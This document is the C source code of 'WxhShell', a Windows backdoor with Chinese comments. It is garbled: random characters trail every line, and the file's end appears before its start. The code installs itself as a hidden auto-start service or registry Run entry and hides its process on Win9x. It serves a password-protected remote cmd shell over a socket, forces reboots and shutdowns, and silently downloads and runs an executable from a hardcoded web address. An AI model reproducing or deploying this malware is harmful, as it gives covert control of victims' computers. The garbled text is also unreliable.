    if(Boot(SHUTDOWN)) bl.EIyG>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wPH+n-&e  
    else { <25ccE9^c  
    closesocket(wsh); &7Kb]Ti  
    ExitThread(0); g1V)$s 7  
    } <V S2]13  
    break; $G3@< BIN  
    } f3n~{a,[  
  // 获取shell j38 6gL  
  case 's': { +c?ie4   
    CmdShell(wsh); 7K:FeW'N  
    closesocket(wsh); s=U\_koyH  
    ExitThread(0); z!Hx @){|  
    break; )X%oXc&C|  
  } SQ<f  
  // 退出 KN, 4@4  
  case 'x': { jY+Do:#/wO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J6auUm` `  
    CloseIt(wsh); 4J}3,+  
    break; !. eAOuq  
    } "TFwHe3C4  
  // 离开 26PD[af64O  
  case 'q': { [*HiI=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j@t{@Ke  
    closesocket(wsh); O 6]u!NqG  
    WSACleanup(); ]_ #SAhOR)  
    exit(1); {AgBwBCE  
    break; ,qu:<  
        } s41adw>  
  } ]-Lruq#  
  }  mn`5pha  
y5%5O xB  
  // 提示信息 G?ZC 9w]rA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dEET}s\  
} R@$+t:}  
  } k =|K|  
r=\P!`{5  
  return; JMePI%#8  
} z Lw(@&  
e^WqJ7j  
// shell模块句柄 8_ X.c  
int CmdShell(SOCKET sock) xT=ySa$|>  
{ nl9kYE [  
STARTUPINFO si; g]4y AV<2  
ZeroMemory(&si,sizeof(si)); M:(&n@e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )f[C[Rd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %mL5+d-oP  
PROCESS_INFORMATION ProcessInfo; ;-Ado8  
char cmdline[]="cmd"; `u=oeM :  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5"uNj<.V  
  return 0; y($EK(cb  
} OPLl*bnf  
f}blB?e  
// 自身启动模式 wt\m+!u`  
int StartFromService(void) y9ip[Xn-$:  
{ =h7[E./U1  
typedef struct |?yE^$a  
{ xD^wTtT  
  DWORD ExitStatus; pJ6Jx(  
  DWORD PebBaseAddress; Rdj8 *f  
  DWORD AffinityMask; )r#,ML  
  DWORD BasePriority; hpas'H>J  
  ULONG UniqueProcessId; J@gm@ jLc  
  ULONG InheritedFromUniqueProcessId; l.uN$B  
}   PROCESS_BASIC_INFORMATION; Z*Zc]hD  
0<3E  
PROCNTQSIP NtQueryInformationProcess; AHWh}~Yi  
p9Z ].5Pd"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BjB&[5?z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "]<w x_!+}  
6+ ?wnp-  
  HANDLE             hProcess; G ~A$jStm  
  PROCESS_BASIC_INFORMATION pbi; }pK v.  
>~^`5a`$uI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XJ O[[G`  
  if(NULL == hInst ) return 0; nfa_8  
8XlU%a6x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zF?31\GOX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gY%OhYtF2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qL,ka  
?0uOR *y'  
  if (!NtQueryInformationProcess) return 0; (H P z  
)# p.`J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .Nk}Z9L]k  
  if(!hProcess) return 0; Ej{+U  
J ZA*{n2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R qn WtE  
@]E]W#xAn  
  CloseHandle(hProcess); W w^7^q&  
aU4R+.M7@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); brj[c>ID  
if(hProcess==NULL) return 0; ,!r@9T  
*|^,DGfQ6  
HMODULE hMod; ;}UzJe ,S  
char procName[255]; Ca X^)  
unsigned long cbNeeded; 'V1!&Q6  
%pH)paRAP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lS#7x h  
jmSt?M0.xV  
  CloseHandle(hProcess); eVrnVPkM  
& \JLTw  
if(strstr(procName,"services")) return 1; // 以服务启动 $.``OxJk%  
k{_1r;  
  return 0; // 注册表启动 40R"^*  
} gji*Wq  
~m!#FTc*  
// 主模块  8>ESD}(  
int StartWxhshell(LPSTR lpCmdLine) #t){4J  
{ )sRN!~  
  SOCKET wsl; u2 Y N[|V  
BOOL val=TRUE; 5[nmP95YK  
  int port=0; CcBQo8!G  
  struct sockaddr_in door; lK "' nLL  
gAj0ukX5  
  if(wscfg.ws_autoins) Install(); tB]`Hj  
3\,MsoAl  
port=atoi(lpCmdLine); ~KJ,SLzhx9  
@51z-T  
if(port<=0) port=wscfg.ws_port; l +|1G  
cW=Qh-`jU;  
  WSADATA data; KuIkul9^%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d8 rBu jT  
h>~jQ&\M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fs?( UM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nT_*EC<.  
  door.sin_family = AF_INET; F ~*zC`>Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s;anP0-O  
  door.sin_port = htons(port); O5u cI$s  
w8G7Jy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LFl2uV"  
closesocket(wsl); BQ).`f";d  
return 1; :sU!PF[<  
} d:A\<F  
^g}L`9fL  
  if(listen(wsl,2) == INVALID_SOCKET) { rFf :A-#l  
closesocket(wsl); jMTRcj];(  
return 1; 52da]BW<  
} wj}=@HS,3!  
  Wxhshell(wsl); )t*S 'R  
  WSACleanup(); lB=(8.  
0Wjd-rzc,  
return 0; XAw2X;F%  
lQ+Ru8I  
} sq6>DuBZz  
T@B"BoKU  
// 以NT服务方式启动 7We?P,A\;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) , - QR  
{ JtSuD>H`"  
DWORD   status = 0; @P*ylB}?Q  
  DWORD   specificError = 0xfffffff; ~o:rM/!Ba  
=s`XZkh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,?C|.5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J>&[J!>r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CR%D\I$o  
  serviceStatus.dwWin32ExitCode     = 0; c$@`P  
  serviceStatus.dwServiceSpecificExitCode = 0; d,zp `S  
  serviceStatus.dwCheckPoint       = 0; VEL:JsY  
  serviceStatus.dwWaitHint       = 0; FX{ ~"  
" ]aQ Hh]f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AEB/8%l};v  
  if (hServiceStatusHandle==0) return; 3X,]=f@_  
vEu Ka<5  
status = GetLastError(); xylpiSJ  
  if (status!=NO_ERROR) [Bl $IfU  
{ E~'q?LJOB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1, m\Q_  
    serviceStatus.dwCheckPoint       = 0; kJHr&=VO~  
    serviceStatus.dwWaitHint       = 0; VI(RT-S6  
    serviceStatus.dwWin32ExitCode     = status; _Ngx$  
    serviceStatus.dwServiceSpecificExitCode = specificError; X(4s;i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <]Ij(+J;  
    return; O]c=Yyl  
  } co \[{}}  
"2*G$\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qXXYF>Z-  
  serviceStatus.dwCheckPoint       = 0; CkmlqqUHC  
  serviceStatus.dwWaitHint       = 0; { z-5GH|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hlz'a1\:O]  
} pw0Px  
f 1sy9nQs  
// 处理NT服务事件,比如:启动、停止 *rS9eej  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6Hc H'nmeN  
{ H+S~ bzz  
switch(fdwControl) Ly#h|)  
{ ~%olCxfO  
case SERVICE_CONTROL_STOP: \;nD)<)J  
  serviceStatus.dwWin32ExitCode = 0; 6H(fk1E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xg|8".B)A  
  serviceStatus.dwCheckPoint   = 0; D+bB G  
  serviceStatus.dwWaitHint     = 0; Nr> c'TH  
  { %4bO_vb<9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LXBbz;vYl  
  } #JK;& Dg!  
  return; ;k9 ?  
case SERVICE_CONTROL_PAUSE: 3r,1^h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p:DL:^zx  
  break; Y}AmX  
case SERVICE_CONTROL_CONTINUE: ap Fs UsE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *ge].E  
  break; jA20c(O  
case SERVICE_CONTROL_INTERROGATE: y0/WA4,  
  break; "6NFe!/Y$*  
}; Dj-\))L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o0zc}mm  
} ;cM8EU^.  
1x~%Ydy  
// 标准应用程序主函数 $sA,$x:^xI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8[6ny=S`  
{ >2l13^Y  
l.__10{  
// 获取操作系统版本 u Y?/B~  
OsIsNt=GetOsVer(); zvek2\*rO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q'n(^tbL  
Wl^prs7}c  
  // 从命令行安装 oUW )H  
  if(strpbrk(lpCmdLine,"iI")) Install(); nz,Mqol  
>i^y;5  
  // 下载执行文件 -X"5G  
if(wscfg.ws_downexe) { tYI ]LL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V_)5Af3wY  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^CowJ(y(  
} k#1`  
Jngll  
if(!OsIsNt) { D8r>a"gx  
// 如果时win9x,隐藏进程并且设置为注册表启动 /'8*aUa  
HideProc(); Sqp;/&Ji  
StartWxhshell(lpCmdLine); Q3<bC6$r  
} 5~_eN  
else an*]62l  
  if(StartFromService()) fe& t-  
  // 以服务方式启动 %NF<bEV  
  StartServiceCtrlDispatcher(DispatchTable); w Mlf3Uz  
else !Z<mrr;T@  
  // 普通方式启动 X_lUD?y  
  StartWxhshell(lpCmdLine); O ,F]\  
dWzDSlP&  
return 0; R&u)=~O\5  
} {AU` }*5  
c,v^A+sZu  
-XS+Uv  
KKx&UKjV  
=========================================== SR&(HH$  
#~bU}[{  
Zu2m%=J`  
@Og\SZhn  
@{J!6YGh  
x&hvFG3  
" Hrd5p+j  
{ 4_I7r  
#include <stdio.h> d-6sC@PB  
#include <string.h> 2ru*#Z#(  
#include <windows.h> f7EIDFX>pt  
#include <winsock2.h> &^CL] &/  
#include <winsvc.h> 2.fyP"P L  
#include <urlmon.h> T[Z <bW~0  
2]of SdM  
#pragma comment (lib, "Ws2_32.lib") ,XWay%8{E  
#pragma comment (lib, "urlmon.lib") G"T;l"TAt8  
,\sR;=svK  
#define MAX_USER   100 // 最大客户端连接数 w6WGFQ_%  
#define BUF_SOCK   200 // sock buffer W%Y.SP$Y  
#define KEY_BUFF   255 // 输入 buffer <;$Sa's,LE  
:wv :#EaH  
#define REBOOT     0   // 重启 _1w.B8Lyz@  
#define SHUTDOWN   1   // 关机 E)&NP}k-P  
1=9qAp;?o  
#define DEF_PORT   5000 // 监听端口 r+{!@`dYi  
E"9/YWv  
#define REG_LEN     16   // 注册表键长度 ugIm:bg&  
#define SVC_LEN     80   // NT服务名长度 38x[Ad4%  
^D ]7pe  
// 从dll定义API 9[t]]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yiv RpSL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O+(. 29  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fd!pM4"0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;w>3,ub(0  
.NV)hg)|cZ  
// wxhshell配置信息 n&2=6$*,k  
struct WSCFG { C|.$L<`  
  int ws_port;         // 监听端口 ])Q9=?Sd}  
  char ws_passstr[REG_LEN]; // 口令 U(S@1i(  
  int ws_autoins;       // 安装标记, 1=yes 0=no EO o'a  
  char ws_regname[REG_LEN]; // 注册表键名 K,lK\^y  
  char ws_svcname[REG_LEN]; // 服务名 {a+Fx}W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bGMeBj"R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C;58z 5*,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q8}TNJsU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K%[}[.cW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1}n)J6m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %T&&x2p^=?  
uJ|5 Ve  
}; IEIxjek  
UZ4tq  
// default Wxhshell configuration 4 BE:&A  
struct WSCFG wscfg={DEF_PORT, ]zhq.O >2{  
    "xuhuanlingzhe", wRV`v$*6  
    1, %mB!|'K%  
    "Wxhshell", 8r`VbgI&  
    "Wxhshell", =\ Tud-1Z  
            "WxhShell Service", M@!]U:5~V  
    "Wrsky Windows CmdShell Service", YWcui+4p}  
    "Please Input Your Password: ", &P,4EaC9;  
  1, =B/s H N  
  "http://www.wrsky.com/wxhshell.exe", (?*mh?  
  "Wxhshell.exe" QN2*]+/h  
    }; LhVLsa(-%  
DiGUxnP  
// 消息定义模块 uusY,Dt/9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :N*q;j>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y:i[~y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K d`l[56#  
char *msg_ws_ext="\n\rExit."; +e\:C~2f28  
char *msg_ws_end="\n\rQuit."; Q?Bj q>  
char *msg_ws_boot="\n\rReboot..."; zal3j^  
char *msg_ws_poff="\n\rShutdown..."; DMK"Q#Vw  
char *msg_ws_down="\n\rSave to "; '$kS]U  
tvj'{W  
char *msg_ws_err="\n\rErr!"; lk+=2 6>  
char *msg_ws_ok="\n\rOK!"; G +nY}c  
[kp7LA"`  
char ExeFile[MAX_PATH]; %CsTB0Y7n,  
int nUser = 0; AT8B!m   
HANDLE handles[MAX_USER]; Q8gdI  
int OsIsNt; JX2 |  
b]so9aCz  
SERVICE_STATUS       serviceStatus; +X%fcoc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K;ry4/Vap  
^;bGP.!p  
// 函数声明 35@Ibe~  
int Install(void); ',J%Mv>Yf  
int Uninstall(void); -?%{A%'  
int DownloadFile(char *sURL, SOCKET wsh); M$>WmG1~D  
int Boot(int flag); 1^WA  
void HideProc(void); &t.>^7ELF  
int GetOsVer(void); 8&2gM  
int Wxhshell(SOCKET wsl); _,K>u6N&  
void TalkWithClient(void *cs); Ro3I/NI>  
int CmdShell(SOCKET sock); HhQPgjZ/  
int StartFromService(void); x w?9W4<  
int StartWxhshell(LPSTR lpCmdLine); Op$J"R  
*]>OCGsr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ('o; M:  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  h>L6{d1  
#r:Kg&W2FO  
// 数据结构和表定义 Me K\eZ\  
SERVICE_TABLE_ENTRY DispatchTable[] = 9/X v&<Tn  
{ fbx;-He!  
{wscfg.ws_svcname, NTServiceMain}, +}G>M=t::  
{NULL, NULL} i/ O,`2  
}; &' Nk2{  
$CQwBsYb=  
// 自我安装 j9L+.UVI,  
int Install(void) p-(ADQS  
{ 9^Vx*KVrU  
  char svExeFile[MAX_PATH]; w_z^5\u0  
  HKEY key; a,0o{* (u$  
  strcpy(svExeFile,ExeFile); vS*0CR\  
8w@W8(3B  
// 如果是win9x系统,修改注册表设为自启动 u7y7  
if(!OsIsNt) { C)3$";$5)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2h? r![  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4K?H-Jco  
  RegCloseKey(key); {If2[4!z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d8BK/b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KJvJUq  
  RegCloseKey(key); 6'sFmC  
  return 0; x_H7=\pX]  
    } cwW~ *90#  
  } -m x3^  
} @9kk f{?  
else { RWh}?vs_  
W!Ct[t  
// 如果是NT以上系统,安装为系统服务 hDkqEkq1R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Uf]Pd)D  
if (schSCManager!=0) fPk9(X;G!p  
{ b8b PK<  
  SC_HANDLE schService = CreateService 9:Z~}yX  
  ( szsZFyW )+  
  schSCManager, d[Fr  
  wscfg.ws_svcname, [q+ 39  
  wscfg.ws_svcdisp, JpHsQ8<  
  SERVICE_ALL_ACCESS, VV}fW"_ND  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sxQ,x/O  
  SERVICE_AUTO_START, "y ,(9_#  
  SERVICE_ERROR_NORMAL, 7Hkf7\JY  
  svExeFile, 3v3Va~fm`  
  NULL, 2.&V  
  NULL, 6~Oje>w;  
  NULL, Vqp.jF1|  
  NULL, Sdu@!<?B  
  NULL uxJiec`&  
  ); Y  X{  
  if (schService!=0) [Oy2&C  
  { xY}j8~k  
  CloseServiceHandle(schService); <!HD tN  
  CloseServiceHandle(schSCManager); +&zuI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7Caap/L:  
  strcat(svExeFile,wscfg.ws_svcname); H2_>Av{m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [N$_@[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jvKaxB;e  
  RegCloseKey(key); #&8pp8wd,}  
  return 0; ,HO/Q6;N  
    } ToXFMkwY  
  } {8p?we3l1  
  CloseServiceHandle(schSCManager); Gt%?[  
} vFvu8*0  
} i.dAL)V  
P;91C'T-x  
return 1; OsSiBb,W79  
} Ly/~N/<\  
_j<M}  
// 自我卸载 wm`"yNbD  
int Uninstall(void) %>:)4A  
{ U[ O!&:6  
  HKEY key; ^EBM;&;7  
~4X!8b_  
if(!OsIsNt) { Mw7UU1 ei  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3)MM5 b b$  
  RegDeleteValue(key,wscfg.ws_regname); iC0,zk4&  
  RegCloseKey(key); ~S{\wL53  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZC-evy  
  RegDeleteValue(key,wscfg.ws_regname); W oG  
  RegCloseKey(key); Oy`\8*Uy__  
  return 0; exN#!& ;  
  } a|{<#<6n(  
} k.R/X  
} ZZJ"Ny.2  
else { `e;Sjf<  
ZTz(NS EK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ytnr$*5.  
if (schSCManager!=0) Us~wv"L=UX  
{ LK}eU,m=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /%'7sx[p  
  if (schService!=0) gY^TBR0?m  
  { (eIxU&o'  
  if(DeleteService(schService)!=0) { Y0C<b*!"ST  
  CloseServiceHandle(schService); N<r0I-  
  CloseServiceHandle(schSCManager); qvE[_1QCc  
  return 0; ['`'&+x&!  
  } xfQ;5n  
  CloseServiceHandle(schService); ` Z V'7|  
  } {"AYOc>2|  
  CloseServiceHandle(schSCManager); :H:}t>X6Vo  
} /*2W?ZM~H  
} ^ /eSby  
|2` $g  
return 1; 6 FxndR;  
} KFG^vmrn  
UdgI<a~`k6  
// 从指定url下载文件 m`0{j1K  
int DownloadFile(char *sURL, SOCKET wsh) @?AE75E{  
{ u"$HWB~@z  
  HRESULT hr; %ycT}Lu  
char seps[]= "/"; s"!}=k X  
char *token; (:k`wh&  
char *file; ]-OkW.8d1  
char myURL[MAX_PATH]; =U|SK"oO  
char myFILE[MAX_PATH]; cDol o1*  
5W '|qmJ  
strcpy(myURL,sURL); WZ-{K"56  
  token=strtok(myURL,seps); Ybiz]1d  
  while(token!=NULL) A^7Zy79  
  { %cjav  
    file=token; l_IX+4(@b|  
  token=strtok(NULL,seps); D\~$6#B>>  
  } o6%f%:&  
MNE)<vw>  
GetCurrentDirectory(MAX_PATH,myFILE); jl29~^@}1i  
strcat(myFILE, "\\"); D)$k{v#~  
strcat(myFILE, file); wpMQ 7:j  
  send(wsh,myFILE,strlen(myFILE),0); Lh$ac-Ct  
send(wsh,"...",3,0); ;] o^u.PC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j`hbQp\`  
  if(hr==S_OK) 3ZZI1_j  
return 0; KywT Oq  
else bTKxv<  
return 1; g{{SY5qDj  
ZI]K+jza  
} pMrf i}esx  
< VsZ$  
// 系统电源模块 ~/[N)RFD  
int Boot(int flag) AU\!5+RDB  
{ ZWW}r~d{  
  HANDLE hToken; v)pWx0l=  
  TOKEN_PRIVILEGES tkp; $ $+z^%'_  
O/@[VPf  
  if(OsIsNt) { (Gs g+c   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h"m7r4f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g 0=t9J  
    tkp.PrivilegeCount = 1; v65r@)\`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;:1mv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OPh@H.)^  
if(flag==REBOOT) { '*.};t~;"d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) : P2;9+v  
  return 0; *xKR;?.  
} t":>O0>cz  
else { -^N '18:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %"B$I>h  
  return 0; Ds/zl Z  
} mJqP#Unik  
  } =~*u(0sJa  
  else { Y^f|}YO%y  
if(flag==REBOOT) { y5 +&P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -v&srd^  
  return 0; (#BA{9T,^  
} 6?~pjMV  
else { Fm{y.URo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) | mX8fRh  
  return 0; pswppC6f  
} w| # 79,&  
} 9 f+7vCA  
%QkvBg*  
return 1; ?os0JQVB  
} b6VAyTa  
1Qkuxw  
// win9x进程隐藏模块 }DwXs`M7  
void HideProc(void) ymqhI\>y#  
{ s#sX r  
Fv B2y8&W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IRY2H#:$  
  if ( hKernel != NULL ) '?4[w]0J<  
  { O#k+.LU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?whp _  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O^ hV<+CX  
    FreeLibrary(hKernel); 5$w1[}UUd  
  } _E7eJSM.  
CQ ?|=cN  
return; fW`F^G1R  
} BC+qeocg  
U[u6UG  
// 获取操作系统版本 tL|Q{+i yE  
int GetOsVer(void) PV Q%y  
{ bSzb! hT`  
  OSVERSIONINFO winfo; `WL*Jb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?,[w6O*  
  GetVersionEx(&winfo); ujBADDwOg)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uWQ.h ,  
  return 1; ==9Ez  
  else B7C6Mau  
  return 0; b1"wQM9  
} P*Nl3?T  
8iB}a\]B  
// 客户端句柄模块 )c_ll;%  
int Wxhshell(SOCKET wsl) 1OKJE(T  
{ 9:>vl0  
  SOCKET wsh; 0rj*SC_  
  struct sockaddr_in client; 2 r)c?  
  DWORD myID; P7!Sc  
7dRU7p>  
  while(nUser<MAX_USER) G<I5%Yo6G  
{ nNr3'6lz  
  int nSize=sizeof(client); Y,r2m nq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ubw ]}sfM#  
  if(wsh==INVALID_SOCKET) return 1; yO)Qg* r  
s Y,3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1['A1 ,  
if(handles[nUser]==0) g$qh(Z_s  
  closesocket(wsh); nK[$ID  
else -=Hr|AhE  
  nUser++; m[XN,IE#u  
  } rv[\2@}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0 N(2[s_A  
-$r fu  
  return 0; LxO'$oKZV  
} Ra5cfkH;  
WF]:?WE%  
// 关闭 socket \`^jl  
void CloseIt(SOCKET wsh) ),_bDI L+  
{ T/ov0l_  
closesocket(wsh); f$/D?q3N  
nUser--; w>e OERZa  
ExitThread(0); RL%{VE  
} OkM>  
-llujB%;,e  
// 客户端请求句柄 &N#)(rQ1  
void TalkWithClient(void *cs) ! ^W|;bq  
{ }`X$ '  
aVlHY E  
  SOCKET wsh=(SOCKET)cs; ?!ig/ufZ  
  char pwd[SVC_LEN]; ,DjZDw  
  char cmd[KEY_BUFF]; +q(D]:@,[  
char chr[1]; .T7ciD  
int i,j; Kj7Osqu2bE  
E_z@\z MB  
  while (nUser < MAX_USER) { Zo` ^pQS  
)xeVoAg  
if(wscfg.ws_passstr) { 7hc(]8eP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t%%I.zIV7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `u-}E9{  
  //ZeroMemory(pwd,KEY_BUFF); n\ZFPXP  
      i=0; 5"sF#Y&  
  while(i<SVC_LEN) { Q'N<jX[  
j(SQNSFD  
  // 设置超时 _i&\G}mrC  
  fd_set FdRead; mnePm{  
  struct timeval TimeOut; $T6<9cB@  
  FD_ZERO(&FdRead); >&TktQO_T  
  FD_SET(wsh,&FdRead); al2v1.Y}  
  TimeOut.tv_sec=8; >wn&+%i&  
  TimeOut.tv_usec=0; W^x[ma z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @1pdyKK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =F`h2A;a  
gm8H)y,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^a]:GPc  
  pwd=chr[0]; FR&RIFy  
  if(chr[0]==0xd || chr[0]==0xa) { REw3>/=  
  pwd=0; >TE&myZ?*  
  break; biJU r^n  
  } %ug`dZ/  
  i++; t :_7 O7  
    } wNPZ[V:  
|(/"IS]  
  // 如果是非法用户,关闭 socket F'K{=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *6h.#$\  
} </fnbyGR  
w-KtxG(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QM IQy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BdceINI  
$6_J` 7  
while(1) { \6N\6=t!A  
k`?n("j  
  ZeroMemory(cmd,KEY_BUFF); {kC]x2 U  
2XE4w# [j  
      // 自动支持客户端 telnet标准   r"n)I$  
  j=0; h'bxgIl'`  
  while(j<KEY_BUFF) { @/9> /?JP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zIL.R#|D=  
  cmd[j]=chr[0]; {3;4=R3  
  if(chr[0]==0xa || chr[0]==0xd) { ScI9.{  
  cmd[j]=0; W] lFwj  
  break; ~6OdPD  
  } NENbr$,G  
  j++; GVg0)}  
    } a+X X?uN{  
a\zbi$S  
  // 下载文件 xGA%/dy,;  
  if(strstr(cmd,"http://")) { `pKQ|zGw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N=wB1gJ  
  if(DownloadFile(cmd,wsh)) }SYvGp{J,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =IUTU4!]  
  else V'9 k;SF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); al5?w{us  
  } j3FDGDrg  
  else { SDot0`s>  
Uzc`,iV$  
    switch(cmd[0]) { rod{77  
  8U-}%D<a  
